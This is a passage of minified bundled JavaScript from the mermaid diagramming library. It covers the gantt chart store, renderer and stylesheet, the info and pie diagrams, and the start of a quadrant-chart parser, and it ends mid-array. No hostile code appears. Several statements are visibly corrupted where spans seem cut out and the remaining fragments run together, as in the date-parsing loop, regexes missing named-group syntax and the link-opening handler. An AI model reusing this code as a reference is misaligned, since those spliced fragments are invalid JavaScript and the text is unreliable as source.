CF},"getTickInterval"),ZKe=o(function(t){AF=t},"setTodayMarker"),JKe=o(function(){return AF},"getTodayMarker"),eQe=o(function(t){eu=t},"setDateFormat"),tQe=o(function(){m4=!0},"enableInclusiveEndDates"),rQe=o(function(){return m4},"endDatesAreInclusive"),nQe=o(function(){NF=!0},"enableTopAxis"),iQe=o(function(){return NF},"topAxisEnabled"),aQe=o(function(t){LF=t},"setDisplayMode"),sQe=o(function(){return LF},"getDisplayMode"),oQe=o(function(){return eu},"getDateFormat"),lQe=o(function(t){d4=t.toLowerCase().split(/[\s,]+/)},"setIncludes"),cQe=o(function(){return d4},"getIncludes"),uQe=o(function(t){p4=t.toLowerCase().split(/[\s,]+/)},"setExcludes"),hQe=o(function(){return p4},"getExcludes"),fQe=o(function(){return _F},"getLinks"),dQe=o(function(t){ty=t,DF.push(t)},"addSection"),pQe=o(function(){return DF},"getSections"),mQe=o(function(){let t=Hge(),e=10,r=0;for(;!t&&r[\d\w- ]+)/.exec(r);if(i!==null){let s=null;for(let u of i.groups.ids.split(" ")){let h=a0(u);h!==void 0&&(!s||h.endTime>s.endTime)&&(s=h)}if(s)return s.endTime;let l=new Date;return l.setHours(0,0,0,0),l}let a=(0,xo.default)(r,e.trim(),!0);if(a.isValid())return a.toDate();{X.debug("Invalid date:"+r),X.debug("With date format:"+e.trim());let s=new Date(r);if(s===void 0||isNaN(s.getTime())||s.getFullYear()<-1e4||s.getFullYear()>1e4)throw new Error("Invalid date:"+r);return s}},"getStartDate"),Zge=o(function(t){let e=/^(\d+(?:\.\d+)?)([Mdhmswy]|ms)$/.exec(t.trim());return e!==null?[Number.parseFloat(e[1]),e[2]]:[NaN,"ms"]},"parseDuration"),Jge=o(function(t,e,r,n=!1){r=r.trim();let a=/^until\s+(?[\d\w- ]+)/.exec(r);if(a!==null){let f=null;for(let p of a.groups.ids.split(" ")){let m=a0(p);m!==void 0&&(!f||m.startTime{window.open(r,"_self")}),_F.set(n,r))}),t1e(t,"clickable")},"setLink"),t1e=o(function(t,e){t.split(",").forEach(function(r){let n=a0(r);n!==void 0&&n.classes.push(e)})},"setClass"),SQe=o(function(t,e,r){if(ge().securityLevel!=="loose"||e===void 0)return;let n=[];if(typeof r=="string"){n=r.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let a=0;a{qt.runFunc(e,...n)})},"setClickFun"),r1e=o(function(t,e){RF.push(function(){let r=document.querySelector(`[id="${t}"]`);r!==null&&r.addEventListener("click",function(){e()})},function(){let r=document.querySelector(`[id="${t}-text"]`);r!==null&&r.addEventListener("click",function(){e()})})},"pushFun"),CQe=o(function(t,e,r){t.split(",").forEach(function(n){SQe(n,e,r)}),t1e(t,"clickable")},"setClickEvent"),AQe=o(function(t){RF.forEach(function(e){e(t)})},"bindFunctions"),n1e={getConfig:o(()=>ge().gantt,"getConfig"),clear:YKe,setDateFormat:eQe,getDateFormat:oQe,enableInclusiveEndDates:tQe,endDatesAreInclusive:rQe,enableTopAxis:nQe,topAxisEnabled:iQe,setAxisFormat:XKe,getAxisFormat:jKe,setTickInterval:KKe,getTickInterval:QKe,setTodayMarker:ZKe,getTodayMarker:JKe,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,setDisplayMode:aQe,getDisplayMode:sQe,setAccDescription:Ir,getAccDescription:Or,addSection:dQe,getSections:pQe,getTasks:mQe,addTask:wQe,findTaskById:a0,addTaskOrg:kQe,setIncludes:lQe,getIncludes:cQe,setExcludes:uQe,getExcludes:hQe,setClickEvent:CQe,setLink:EQe,getLinks:fQe,bindFunctions:AQe,parseDuration:Zge,isInvalidDate:Kge,setWeekday:gQe,getWeekday:yQe,setWeekend:vQe};o(i1e,"getTaskTags")});var $6,_Qe,s1e,DQe,ah,LQe,o1e,l1e=N(()=>{"use strict";$6=ja(X4(),1);pt();yr();gr();Xt();Ei();_Qe=o(function(){X.debug("Something is calling, setConf, remove the call")},"setConf"),s1e={monday:Ih,tuesday:P5,wednesday:B5,thursday:fc,friday:F5,saturday:$5,sunday:wl},DQe=o((t,e)=>{let r=[...t].map(()=>-1/0),n=[...t].sort((a,s)=>a.startTime-s.startTime||a.order-s.order),i=0;for(let a of n)for(let s=0;s=r[s]){r[s]=a.endTime,a.order=s+e,s>i&&(i=s);break}return i},"getMaxIntersections"),LQe=o(function(t,e,r,n){let i=ge().gantt,a=ge().securityLevel,s;a==="sandbox"&&(s=qe("#i"+e));let l=a==="sandbox"?qe(s.nodes()[0].contentDocument.body):qe("body"),u=a==="sandbox"?s.nodes()[0].contentDocument:document,h=u.getElementById(e);ah=h.parentElement.offsetWidth,ah===void 0&&(ah=1200),i.useWidth!==void 0&&(ah=i.useWidth);let f=n.db.getTasks(),d=[];for(let C of f)d.push(C.type);d=A(d);let p={},m=2*i.topPadding;if(n.db.getDisplayMode()==="compact"||i.displayMode==="compact"){let C={};for(let I of f)C[I.section]===void 0?C[I.section]=[I]:C[I.section].push(I);let R=0;for(let I of Object.keys(C)){let L=DQe(C[I],R)+1;R+=L,m+=L*(i.barHeight+i.barGap),p[I]=L}}else{m+=f.length*(i.barHeight+i.barGap);for(let C of d)p[C]=f.filter(R=>R.type===C).length}h.setAttribute("viewBox","0 0 "+ah+" "+m);let g=l.select(`[id="${e}"]`),y=V5().domain([Y3(f,function(C){return C.startTime}),W3(f,function(C){return C.endTime})]).rangeRound([0,ah-i.leftPadding-i.rightPadding]);function v(C,R){let I=C.startTime,L=R.startTime,E=0;return I>L?E=1:IG.vert===$.vert?0:G.vert?1:-1);let M=[...new Set(C.map(G=>G.order))].map(G=>C.find($=>$.order===G));g.append("g").selectAll("rect").data(M).enter().append("rect").attr("x",0).attr("y",function(G,$){return $=G.order,$*R+I-2}).attr("width",function(){return _-i.rightPadding/2}).attr("height",R).attr("class",function(G){for(let[$,U]of d.entries())if(G.type===U)return"section section"+$%i.numberSectionStyles;return"section section0"}).enter();let P=g.append("g").selectAll("rect").data(C).enter(),B=n.db.getLinks();if(P.append("rect").attr("id",function(G){return G.id}).attr("rx",3).attr("ry",3).attr("x",function(G){return G.milestone?y(G.startTime)+L+.5*(y(G.endTime)-y(G.startTime))-.5*E:y(G.startTime)+L}).attr("y",function(G,$){return $=G.order,G.vert?i.gridLineStartPadding:$*R+I}).attr("width",function(G){return G.milestone?E:G.vert?.08*E:y(G.renderEndTime||G.endTime)-y(G.startTime)}).attr("height",function(G){return G.vert?f.length*(i.barHeight+i.barGap)+i.barHeight*2:E}).attr("transform-origin",function(G,$){return $=G.order,(y(G.startTime)+L+.5*(y(G.endTime)-y(G.startTime))).toString()+"px "+($*R+I+.5*E).toString()+"px"}).attr("class",function(G){let $="task",U="";G.classes.length>0&&(U=G.classes.join(" "));let j=0;for(let[Y,oe]of d.entries())G.type===oe&&(j=Y%i.numberSectionStyles);let te="";return G.active?G.crit?te+=" activeCrit":te=" active":G.done?G.crit?te=" doneCrit":te=" done":G.crit&&(te+=" crit"),te.length===0&&(te=" task"),G.milestone&&(te=" milestone "+te),G.vert&&(te=" vert "+te),te+=j,te+=" "+U,$+te}),P.append("text").attr("id",function(G){return G.id+"-text"}).text(function(G){return G.task}).attr("font-size",i.fontSize).attr("x",function(G){let $=y(G.startTime),U=y(G.renderEndTime||G.endTime);if(G.milestone&&($+=.5*(y(G.endTime)-y(G.startTime))-.5*E,U=$+E),G.vert)return y(G.startTime)+L;let j=this.getBBox().width;return j>U-$?U+j+1.5*i.leftPadding>_?$+L-5:U+L+5:(U-$)/2+$+L}).attr("y",function(G,$){return G.vert?i.gridLineStartPadding+f.length*(i.barHeight+i.barGap)+60:($=G.order,$*R+i.barHeight/2+(i.fontSize/2-2)+I)}).attr("text-height",E).attr("class",function(G){let $=y(G.startTime),U=y(G.endTime);G.milestone&&(U=$+E);let j=this.getBBox().width,te="";G.classes.length>0&&(te=G.classes.join(" "));let Y=0;for(let[J,ue]of d.entries())G.type===ue&&(Y=J%i.numberSectionStyles);let oe="";return G.active&&(G.crit?oe="activeCritText"+Y:oe="activeText"+Y),G.done?G.crit?oe=oe+" doneCritText"+Y:oe=oe+" doneText"+Y:G.crit&&(oe=oe+" critText"+Y),G.milestone&&(oe+=" milestoneText"),G.vert&&(oe+=" vertText"),j>U-$?U+j+1.5*i.leftPadding>_?te+" taskTextOutsideLeft taskTextOutside"+Y+" "+oe:te+" taskTextOutsideRight taskTextOutside"+Y+" "+oe+" width-"+j:te+" taskText taskText"+Y+" "+oe+" width-"+j}),ge().securityLevel==="sandbox"){let G;G=qe("#i"+e);let $=G.nodes()[0].contentDocument;P.filter(function(U){return B.has(U.id)}).each(function(U){var j=$.querySelector("#"+U.id),te=$.querySelector("#"+U.id+"-text");let Y=j.parentNode;var oe=$.createElement("a");oe.setAttribute("xlink:href",B.get(U.id)),oe.setAttribute("target","_top"),Y.appendChild(oe),oe.appendChild(j),oe.appendChild(te)})}}o(b,"drawRects");function T(C,R,I,L,E,D,_,O){if(_.length===0&&O.length===0)return;let M,P;for(let{startTime:j,endTime:te}of D)(M===void 0||jP)&&(P=te);if(!M||!P)return;if((0,$6.default)(P).diff((0,$6.default)(M),"year")>5){X.warn("The difference between the min and max time is more than 5 years. This will cause performance issues. Skipping drawing exclude days.");return}let B=n.db.getDateFormat(),F=[],G=null,$=(0,$6.default)(M);for(;$.valueOf()<=P;)n.db.isInvalidDate($,B,_,O)?G?G.end=$:G={start:$,end:$}:G&&(F.push(G),G=null),$=$.add(1,"d");g.append("g").selectAll("rect").data(F).enter().append("rect").attr("id",j=>"exclude-"+j.start.format("YYYY-MM-DD")).attr("x",j=>y(j.start.startOf("day"))+I).attr("y",i.gridLineStartPadding).attr("width",j=>y(j.end.endOf("day"))-y(j.start.startOf("day"))).attr("height",E-R-i.gridLineStartPadding).attr("transform-origin",function(j,te){return(y(j.start)+I+.5*(y(j.end)-y(j.start))).toString()+"px "+(te*C+.5*E).toString()+"px"}).attr("class","exclude-range")}o(T,"drawExcludeDays");function S(C,R,I,L){let E=n.db.getDateFormat(),D=n.db.getAxisFormat(),_;D?_=D:E==="D"?_="%d":_=i.axisFormat??"%Y-%m-%d";let O=QA(y).tickSize(-L+R+i.gridLineStartPadding).tickFormat(Pd(_)),P=/^([1-9]\d*)(millisecond|second|minute|hour|day|week|month)$/.exec(n.db.getTickInterval()||i.tickInterval);if(P!==null){let B=P[1],F=P[2],G=n.db.getWeekday()||i.weekday;switch(F){case"millisecond":O.ticks(uc.every(B));break;case"second":O.ticks(io.every(B));break;case"minute":O.ticks(ku.every(B));break;case"hour":O.ticks(Eu.every(B));break;case"day":O.ticks(Ro.every(B));break;case"week":O.ticks(s1e[G].every(B));break;case"month":O.ticks(Su.every(B));break}}if(g.append("g").attr("class","grid").attr("transform","translate("+C+", "+(L-50)+")").call(O).selectAll("text").style("text-anchor","middle").attr("fill","#000").attr("stroke","none").attr("font-size",10).attr("dy","1em"),n.db.topAxisEnabled()||i.topAxis){let B=KA(y).tickSize(-L+R+i.gridLineStartPadding).tickFormat(Pd(_));if(P!==null){let F=P[1],G=P[2],$=n.db.getWeekday()||i.weekday;switch(G){case"millisecond":B.ticks(uc.every(F));break;case"second":B.ticks(io.every(F));break;case"minute":B.ticks(ku.every(F));break;case"hour":B.ticks(Eu.every(F));break;case"day":B.ticks(Ro.every(F));break;case"week":B.ticks(s1e[$].every(F));break;case"month":B.ticks(Su.every(F));break}}g.append("g").attr("class","grid").attr("transform","translate("+C+", "+R+")").call(B).selectAll("text").style("text-anchor","middle").attr("fill","#000").attr("stroke","none").attr("font-size",10)}}o(S,"makeGrid");function w(C,R){let I=0,L=Object.keys(p).map(E=>[E,p[E]]);g.append("g").selectAll("text").data(L).enter().append(function(E){let D=E[0].split(tt.lineBreakRegex),_=-(D.length-1)/2,O=u.createElementNS("http://www.w3.org/2000/svg","text");O.setAttribute("dy",_+"em");for(let[M,P]of D.entries()){let B=u.createElementNS("http://www.w3.org/2000/svg","tspan");B.setAttribute("alignment-baseline","central"),B.setAttribute("x","10"),M>0&&B.setAttribute("dy","1em"),B.textContent=P,O.appendChild(B)}return O}).attr("x",10).attr("y",function(E,D){if(D>0)for(let _=0;_{"use strict";RQe=o(t=>` + .mermaid-main-font { + font-family: ${t.fontFamily}; + } + + .exclude-range { + fill: ${t.excludeBkgColor}; + } + + .section { + stroke: none; + opacity: 0.2; + } + + .section0 { + fill: ${t.sectionBkgColor}; + } + + .section2 { + fill: ${t.sectionBkgColor2}; + } + + .section1, + .section3 { + fill: ${t.altSectionBkgColor}; + opacity: 0.2; + } + + .sectionTitle0 { + fill: ${t.titleColor}; + } + + .sectionTitle1 { + fill: ${t.titleColor}; + } + + .sectionTitle2 { + fill: ${t.titleColor}; + } + + .sectionTitle3 { + fill: ${t.titleColor}; + } + + .sectionTitle { + text-anchor: start; + font-family: ${t.fontFamily}; + } + + + /* Grid and axis */ + + .grid .tick { + stroke: ${t.gridColor}; + opacity: 0.8; + shape-rendering: crispEdges; + } + + .grid .tick text { + font-family: ${t.fontFamily}; + fill: ${t.textColor}; + } + + .grid path { + stroke-width: 0; + } + + + /* Today line */ + + .today { + fill: none; + stroke: ${t.todayLineColor}; + stroke-width: 2px; + } + + + /* Task styling */ + + /* Default task */ + + .task { + stroke-width: 2; + } + + .taskText { + text-anchor: middle; + font-family: ${t.fontFamily}; + } + + .taskTextOutsideRight { + fill: ${t.taskTextDarkColor}; + text-anchor: start; + font-family: ${t.fontFamily}; + } + + .taskTextOutsideLeft { + fill: ${t.taskTextDarkColor}; + text-anchor: end; + } + + + /* Special case clickable */ + + .task.clickable { + cursor: pointer; + } + + .taskText.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + .taskTextOutsideLeft.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + .taskTextOutsideRight.clickable { + cursor: pointer; + fill: ${t.taskTextClickableColor} !important; + font-weight: bold; + } + + + /* Specific task settings for the sections*/ + + .taskText0, + .taskText1, + .taskText2, + .taskText3 { + fill: ${t.taskTextColor}; + } + + .task0, + .task1, + .task2, + .task3 { + fill: ${t.taskBkgColor}; + stroke: ${t.taskBorderColor}; + } + + .taskTextOutside0, + .taskTextOutside2 + { + fill: ${t.taskTextOutsideColor}; + } + + .taskTextOutside1, + .taskTextOutside3 { + fill: ${t.taskTextOutsideColor}; + } + + + /* Active task */ + + .active0, + .active1, + .active2, + .active3 { + fill: ${t.activeTaskBkgColor}; + stroke: ${t.activeTaskBorderColor}; + } + + .activeText0, + .activeText1, + .activeText2, + .activeText3 { + fill: ${t.taskTextDarkColor} !important; + } + + + /* Completed task */ + + .done0, + .done1, + .done2, + .done3 { + stroke: ${t.doneTaskBorderColor}; + fill: ${t.doneTaskBkgColor}; + stroke-width: 2; + } + + .doneText0, + .doneText1, + .doneText2, + .doneText3 { + fill: ${t.taskTextDarkColor} !important; + } + + + /* Tasks on the critical line */ + + .crit0, + .crit1, + .crit2, + .crit3 { + stroke: ${t.critBorderColor}; + fill: ${t.critBkgColor}; + stroke-width: 2; + } + + .activeCrit0, + .activeCrit1, + .activeCrit2, + .activeCrit3 { + stroke: ${t.critBorderColor}; + fill: ${t.activeTaskBkgColor}; + stroke-width: 2; + } + + .doneCrit0, + .doneCrit1, + .doneCrit2, + .doneCrit3 { + stroke: ${t.critBorderColor}; + fill: ${t.doneTaskBkgColor}; + stroke-width: 2; + cursor: pointer; + shape-rendering: crispEdges; + } + + .milestone { + transform: rotate(45deg) scale(0.8,0.8); + } + + .milestoneText { + font-style: italic; + } + .doneCritText0, + .doneCritText1, + .doneCritText2, + .doneCritText3 { + fill: ${t.taskTextDarkColor} !important; + } + + .vert { + stroke: ${t.vertLineColor}; + } + + .vertText { + font-size: 15px; + text-anchor: middle; + fill: ${t.vertLineColor} !important; + } + + .activeCritText0, + .activeCritText1, + .activeCritText2, + .activeCritText3 { + fill: ${t.taskTextDarkColor} !important; + } + + .titleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.titleColor||t.textColor}; + font-family: ${t.fontFamily}; + } +`,"getStyles"),c1e=RQe});var h1e={};dr(h1e,{diagram:()=>NQe});var NQe,f1e=N(()=>{"use strict";$ge();a1e();l1e();u1e();NQe={parser:Fge,db:n1e,renderer:o1e,styles:c1e}});var m1e,g1e=N(()=>{"use strict";Uf();pt();m1e={parse:o(async t=>{let e=await bs("info",t);X.debug(e)},"parse")}});var g4,IF=N(()=>{g4={name:"mermaid",version:"11.12.0",description:"Markdown-ish syntax for generating flowcharts, mindmaps, sequence diagrams, class diagrams, gantt charts, git graphs and more.",type:"module",module:"./dist/mermaid.core.mjs",types:"./dist/mermaid.d.ts",exports:{".":{types:"./dist/mermaid.d.ts",import:"./dist/mermaid.core.mjs",default:"./dist/mermaid.core.mjs"},"./*":"./*"},keywords:["diagram","markdown","flowchart","sequence diagram","gantt","class diagram","git graph","mindmap","packet diagram","c4 diagram","er diagram","pie chart","pie diagram","quadrant chart","requirement diagram","graph"],scripts:{clean:"rimraf dist",dev:"pnpm -w dev","docs:code":"typedoc src/defaultConfig.ts src/config.ts src/mermaid.ts && prettier --write ./src/docs/config/setup","docs:build":"rimraf ../../docs && pnpm docs:code && pnpm docs:spellcheck && tsx scripts/docs.cli.mts","docs:verify":"pnpm docs:code && pnpm docs:spellcheck && tsx scripts/docs.cli.mts --verify","docs:pre:vitepress":"pnpm --filter ./src/docs prefetch && rimraf src/vitepress && pnpm docs:code && tsx scripts/docs.cli.mts --vitepress && pnpm --filter ./src/vitepress install --no-frozen-lockfile --ignore-scripts","docs:build:vitepress":"pnpm docs:pre:vitepress && (cd src/vitepress && pnpm run build) && cpy --flat src/docs/landing/ ./src/vitepress/.vitepress/dist/landing","docs:dev":'pnpm docs:pre:vitepress && concurrently "pnpm --filter ./src/vitepress dev" "tsx scripts/docs.cli.mts --watch --vitepress"',"docs:dev:docker":'pnpm docs:pre:vitepress && concurrently "pnpm --filter ./src/vitepress dev:docker" "tsx scripts/docs.cli.mts --watch --vitepress"',"docs:serve":"pnpm docs:build:vitepress && vitepress serve src/vitepress","docs:spellcheck":'cspell "src/docs/**/*.md"',"docs:release-version":"tsx scripts/update-release-version.mts","docs:verify-version":"tsx scripts/update-release-version.mts --verify","types:build-config":"tsx scripts/create-types-from-json-schema.mts","types:verify-config":"tsx scripts/create-types-from-json-schema.mts --verify",checkCircle:"npx madge --circular ./src",prepublishOnly:"pnpm docs:verify-version"},repository:{type:"git",url:"https://github.com/mermaid-js/mermaid"},author:"Knut Sveidqvist",license:"MIT",standard:{ignore:["**/parser/*.js","dist/**/*.js","cypress/**/*.js"],globals:["page"]},dependencies:{"@braintree/sanitize-url":"^7.1.1","@iconify/utils":"^3.0.1","@mermaid-js/parser":"workspace:^","@types/d3":"^7.4.3",cytoscape:"^3.29.3","cytoscape-cose-bilkent":"^4.1.0","cytoscape-fcose":"^2.2.0",d3:"^7.9.0","d3-sankey":"^0.12.3","dagre-d3-es":"7.0.11",dayjs:"^1.11.18",dompurify:"^3.2.5",katex:"^0.16.22",khroma:"^2.1.0","lodash-es":"^4.17.21",marked:"^16.2.1",roughjs:"^4.6.6",stylis:"^4.3.6","ts-dedent":"^2.2.0",uuid:"^11.1.0"},devDependencies:{"@adobe/jsonschema2md":"^8.0.5","@iconify/types":"^2.0.0","@types/cytoscape":"^3.21.9","@types/cytoscape-fcose":"^2.2.4","@types/d3-sankey":"^0.12.4","@types/d3-scale":"^4.0.9","@types/d3-scale-chromatic":"^3.1.0","@types/d3-selection":"^3.0.11","@types/d3-shape":"^3.1.7","@types/jsdom":"^21.1.7","@types/katex":"^0.16.7","@types/lodash-es":"^4.17.12","@types/micromatch":"^4.0.9","@types/stylis":"^4.2.7","@types/uuid":"^10.0.0",ajv:"^8.17.1",canvas:"^3.1.2",chokidar:"3.6.0",concurrently:"^9.1.2","csstree-validator":"^4.0.1",globby:"^14.1.0",jison:"^0.4.18","js-base64":"^3.7.8",jsdom:"^26.1.0","json-schema-to-typescript":"^15.0.4",micromatch:"^4.0.8","path-browserify":"^1.0.1",prettier:"^3.5.3",remark:"^15.0.1","remark-frontmatter":"^5.0.0","remark-gfm":"^4.0.1",rimraf:"^6.0.1","start-server-and-test":"^2.0.13","type-fest":"^4.35.0",typedoc:"^0.28.12","typedoc-plugin-markdown":"^4.8.1",typescript:"~5.7.3","unist-util-flatmap":"^1.0.0","unist-util-visit":"^5.0.0",vitepress:"^1.6.4","vitepress-plugin-search":"1.0.4-alpha.22"},files:["dist/","README.md"],publishConfig:{access:"public"}}});var BQe,FQe,y1e,v1e=N(()=>{"use strict";IF();BQe={version:g4.version+""},FQe=o(()=>BQe.version,"getVersion"),y1e={getVersion:FQe}});var aa,tu=N(()=>{"use strict";yr();Xt();aa=o(t=>{let{securityLevel:e}=ge(),r=qe("body");if(e==="sandbox"){let a=qe(`#i${t}`).node()?.contentDocument??document;r=qe(a.body)}return r.select(`#${t}`)},"selectSvgElement")});var $Qe,x1e,b1e=N(()=>{"use strict";pt();tu();Ei();$Qe=o((t,e,r)=>{X.debug(`rendering info diagram +`+t);let n=aa(e);mn(n,100,400,!0),n.append("g").append("text").attr("x",100).attr("y",40).attr("class","version").attr("font-size",32).style("text-anchor","middle").text(`v${r}`)},"draw"),x1e={draw:$Qe}});var T1e={};dr(T1e,{diagram:()=>zQe});var zQe,w1e=N(()=>{"use strict";g1e();v1e();b1e();zQe={parser:m1e,db:y1e,renderer:x1e}});var S1e,OF,z6,PF,UQe,HQe,qQe,WQe,YQe,XQe,jQe,G6,BF=N(()=>{"use strict";pt();ci();La();S1e=ur.pie,OF={sections:new Map,showData:!1,config:S1e},z6=OF.sections,PF=OF.showData,UQe=structuredClone(S1e),HQe=o(()=>structuredClone(UQe),"getConfig"),qQe=o(()=>{z6=new Map,PF=OF.showData,Sr()},"clear"),WQe=o(({label:t,value:e})=>{if(e<0)throw new Error(`"${t}" has invalid value: ${e}. Negative values are not allowed in pie charts. All slice values must be >= 0.`);z6.has(t)||(z6.set(t,e),X.debug(`added new section: ${t}, with value: ${e}`))},"addSection"),YQe=o(()=>z6,"getSections"),XQe=o(t=>{PF=t},"setShowData"),jQe=o(()=>PF,"getShowData"),G6={getConfig:HQe,clear:qQe,setDiagramTitle:$r,getDiagramTitle:Pr,setAccTitle:Rr,getAccTitle:Mr,setAccDescription:Ir,getAccDescription:Or,addSection:WQe,getSections:YQe,setShowData:XQe,getShowData:jQe}});var KQe,C1e,A1e=N(()=>{"use strict";Uf();pt();r0();BF();KQe=o((t,e)=>{nl(t,e),e.setShowData(t.showData),t.sections.map(e.addSection)},"populateDb"),C1e={parse:o(async t=>{let e=await bs("pie",t);X.debug(e),KQe(e,G6)},"parse")}});var QQe,_1e,D1e=N(()=>{"use strict";QQe=o(t=>` + .pieCircle{ + stroke: ${t.pieStrokeColor}; + stroke-width : ${t.pieStrokeWidth}; + opacity : ${t.pieOpacity}; + } + .pieOuterCircle{ + stroke: ${t.pieOuterStrokeColor}; + stroke-width: ${t.pieOuterStrokeWidth}; + fill: none; + } + .pieTitleText { + text-anchor: middle; + font-size: ${t.pieTitleTextSize}; + fill: ${t.pieTitleTextColor}; + font-family: ${t.fontFamily}; + } + .slice { + font-family: ${t.fontFamily}; + fill: ${t.pieSectionTextColor}; + font-size:${t.pieSectionTextSize}; + // fill: white; + } + .legend text { + fill: ${t.pieLegendTextColor}; + font-family: ${t.fontFamily}; + font-size: ${t.pieLegendTextSize}; + } +`,"getStyles"),_1e=QQe});var ZQe,JQe,L1e,R1e=N(()=>{"use strict";yr();Xt();pt();tu();Ei();tr();ZQe=o(t=>{let e=[...t.values()].reduce((i,a)=>i+a,0),r=[...t.entries()].map(([i,a])=>({label:i,value:a})).filter(i=>i.value/e*100>=1).sort((i,a)=>a.value-i.value);return X5().value(i=>i.value)(r)},"createPieArcs"),JQe=o((t,e,r,n)=>{X.debug(`rendering pie chart +`+t);let i=n.db,a=ge(),s=Vn(i.getConfig(),a.pie),l=40,u=18,h=4,f=450,d=f,p=aa(e),m=p.append("g");m.attr("transform","translate("+d/2+","+f/2+")");let{themeVariables:g}=a,[y]=vc(g.pieOuterStrokeWidth);y??=2;let v=s.textPosition,x=Math.min(d,f)/2-l,b=Sl().innerRadius(0).outerRadius(x),T=Sl().innerRadius(x*v).outerRadius(x*v);m.append("circle").attr("cx",0).attr("cy",0).attr("r",x+y/2).attr("class","pieOuterCircle");let S=i.getSections(),w=ZQe(S),k=[g.pie1,g.pie2,g.pie3,g.pie4,g.pie5,g.pie6,g.pie7,g.pie8,g.pie9,g.pie10,g.pie11,g.pie12],A=0;S.forEach(_=>{A+=_});let C=w.filter(_=>(_.data.value/A*100).toFixed(0)!=="0"),R=no(k);m.selectAll("mySlices").data(C).enter().append("path").attr("d",b).attr("fill",_=>R(_.data.label)).attr("class","pieCircle"),m.selectAll("mySlices").data(C).enter().append("text").text(_=>(_.data.value/A*100).toFixed(0)+"%").attr("transform",_=>"translate("+T.centroid(_)+")").style("text-anchor","middle").attr("class","slice"),m.append("text").text(i.getDiagramTitle()).attr("x",0).attr("y",-(f-50)/2).attr("class","pieTitleText");let I=[...S.entries()].map(([_,O])=>({label:_,value:O})),L=m.selectAll(".legend").data(I).enter().append("g").attr("class","legend").attr("transform",(_,O)=>{let M=u+h,P=M*I.length/2,B=12*u,F=O*M-P;return"translate("+B+","+F+")"});L.append("rect").attr("width",u).attr("height",u).style("fill",_=>R(_.label)).style("stroke",_=>R(_.label)),L.append("text").attr("x",u+h).attr("y",u-h).text(_=>i.getShowData()?`${_.label} [${_.value}]`:_.label);let E=Math.max(...L.selectAll("text").nodes().map(_=>_?.getBoundingClientRect().width??0)),D=d+l+u+h+E;p.attr("viewBox",`0 0 ${D} ${f}`),mn(p,f,D,s.useMaxWidth)},"draw"),L1e={draw:JQe}});var N1e={};dr(N1e,{diagram:()=>eZe});var eZe,M1e=N(()=>{"use strict";A1e();BF();D1e();R1e();eZe={parser:C1e,db:G6,renderer:L1e,styles:_1e}});var FF,O1e,P1e=N(()=>{"use strict";FF=(function(){var t=o(function(he,z,se,le){for(se=se||{},le=he.length;le--;se[he[le]]=z);return se},"o"),e=[1,3],r=[1,4],n=[1,5],i=[1,6],a=[1,7],s=[1,4,5,10,12,13,14,18,25,35,37,39,41,42,48,50,51,52,53,54,55,56,57,60,61,63,64,65,66,67],l=[1,4,5,10,12,13,14,18,25,28,35,37,39,41,42,48,50,51,52,53,54,55,56,57,60,61,63,64,65,66,67],u=[55,56,57],h=[2,36],f=[1,37],d=[1,36],p=[1,38],m=[1,35],g=[1,43],y=[1,41],v=[1,14],x=[1,23],b=[1,18],T=[1,19],S=[1,20],w=[1,21],k=[1,22],A=[1,24],C=[1,25],R=[1,26],I=[1,27],L=[1,28],E=[1,29],D=[1,32],_=[1,33],O=[1,34],M=[1,39],P=[1,40],B=[1,42],F=[1,44],G=[1,62],$=[1,61],U=[4,5,8,10,12,13,14,18,44,47,49,55,56,57,63,64,65,66,67],j=[1,65],te=[1,66],Y=[1,67],oe=[1,68],J=[1,69],ue=[1,70],re=[1,71],ee=[1,72],Z=[1,73],K=[1,74],ae=[1,75],Q=[1,76],de=[4,5,6,7,8,9,10,11,12,13,14,15,18],ne=[1,90],Te=[1,91],q=[1,92],Ve=[1,99],pe=[1,93],Be=[1,96],Ye=[1,94],He=[1,95],Le=[1,97],Ie=[1,98],Ne=[1,102],Ce=[10,55,56,57],Fe=[4,5,6,8,10,11,13,17,18,19,20,55,56,57],fe={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,idStringToken:3,ALPHA:4,NUM:5,NODE_STRING:6,DOWN:7,MINUS:8,DEFAULT:9,COMMA:10,COLON:11,AMP:12,BRKT:13,MULT:14,UNICODE_TEXT:15,styleComponent:16,UNIT:17,SPACE:18,STYLE:19,PCT:20,idString:21,style:22,stylesOpt:23,classDefStatement:24,CLASSDEF:25,start:26,eol:27,QUADRANT:28,document:29,line:30,statement:31,axisDetails:32,quadrantDetails:33,points:34,title:35,title_value:36,acc_title:37,acc_title_value:38,acc_descr:39,acc_descr_value:40,acc_descr_multiline_value:41,section:42,text:43,point_start:44,point_x:45,point_y:46,class_name:47,"X-AXIS":48,"AXIS-TEXT-DELIMITER":49,"Y-AXIS":50,QUADRANT_1:51,QUADRANT_2:52,QUADRANT_3:53,QUADRANT_4:54,NEWLINE:55,SEMI:56,EOF:57,alphaNumToken:58,textNoTagsToken:59,STR:60,MD_STR:61,alphaNum:62,PUNCTUATION:63,PLUS:64,EQUALS:65,DOT:66,UNDERSCORE:67,$accept:0,$end:1},terminals_:{2:"error",4:"ALPHA",5:"NUM",6:"NODE_STRING",7:"DOWN",8:"MINUS",9:"DEFAULT",10:"COMMA",11:"COLON",12:"AMP",13:"BRKT",14:"MULT",15:"UNICODE_TEXT",17:"UNIT",18:"SPACE",19:"STYLE",20:"PCT",25:"CLASSDEF",28:"QUADRANT",35:"title",36:"title_value",37:"acc_title",38:"acc_title_value",39:"acc_descr",40:"acc_descr_value",41:"acc_descr_multiline_value",42:"section",44:"point_start",45:"point_x",46:"point_y",47:"class_name",48:"X-AXIS",49:"AXIS-TEXT-DELIMITER",50:"Y-AXIS",51:"QUADRANT_1",52:"QUADRANT_2",53:"QUADRANT_3",54:"QUADRANT_4",55:"NEWLINE",56:"SEMI",57:"EOF",60:"STR",61:"MD_STR",63:"PUNCTUATION",64:"PLUS",65:"EQUALS",66:"DOT",67:"UNDERSCORE"},productions_:[0,[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[21,1],[21,